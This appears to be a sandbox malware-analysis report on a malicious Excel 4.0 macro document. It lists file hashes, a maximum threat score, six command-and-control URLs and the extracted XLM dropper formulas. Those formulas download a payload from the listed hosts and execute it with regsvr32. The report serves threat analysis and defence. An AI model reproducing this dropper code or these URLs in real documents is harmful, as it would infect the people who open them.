e93370a32464c7120b56f246333b4782be6ed3d7ca3a74f26216f74601d3dcb8

General

Target

e93370a32464c7120b56f246333b4782be6ed3d7ca3a74f26216f74601d3dcb8
Size

45KB
Sample

241120-c7hn2aydqe
MD5

6ab1447d9a5118134da52ba4eed9d5da
SHA1

3c33295fd2c3a57090ccca98bcd9041eb4f269ed
SHA256

e93370a32464c7120b56f246333b4782be6ed3d7ca3a74f26216f74601d3dcb8
SHA512

b4b9872a639fbda90ab818b04cec3dbd8946a621dc6d890a5cbcd439ce644e9acf5e40434bfe5f947842073bb3a4a0dbfd1e2147a3b1e270b489f2f44d087e36
SSDEEP

768:kBXcCsqi1O3bQkzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+U60Us:kBXcC5iybdtT5fTR4Lh1NisFYBc3cr+A

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://sorathlions.com/tmp/FlTSgo/

http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/

https://uzamart.com/indrawal/GZ7bN0V68oRpN7/

http://51.222.72.237/wp-includes/aF5qo4EV0Nr1vMGyHP/

http://centrobilinguelospinos.com/wp-admin/7Hm58jhbiYSrd1TKvtG/

http://blog.centerking.top/wp-includes/PZ823VXII8/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/FlTSgo/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://uzamart.com/indrawal/GZ7bN0V68oRpN7/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://51.222.72.237/wp-includes/aF5qo4EV0Nr1vMGyHP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://centrobilinguelospinos.com/wp-admin/7Hm58jhbiYSrd1TKvtG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/PZ823VXII8/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://sorathlions.com/tmp/FlTSgo/

xlm40.dropper

http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/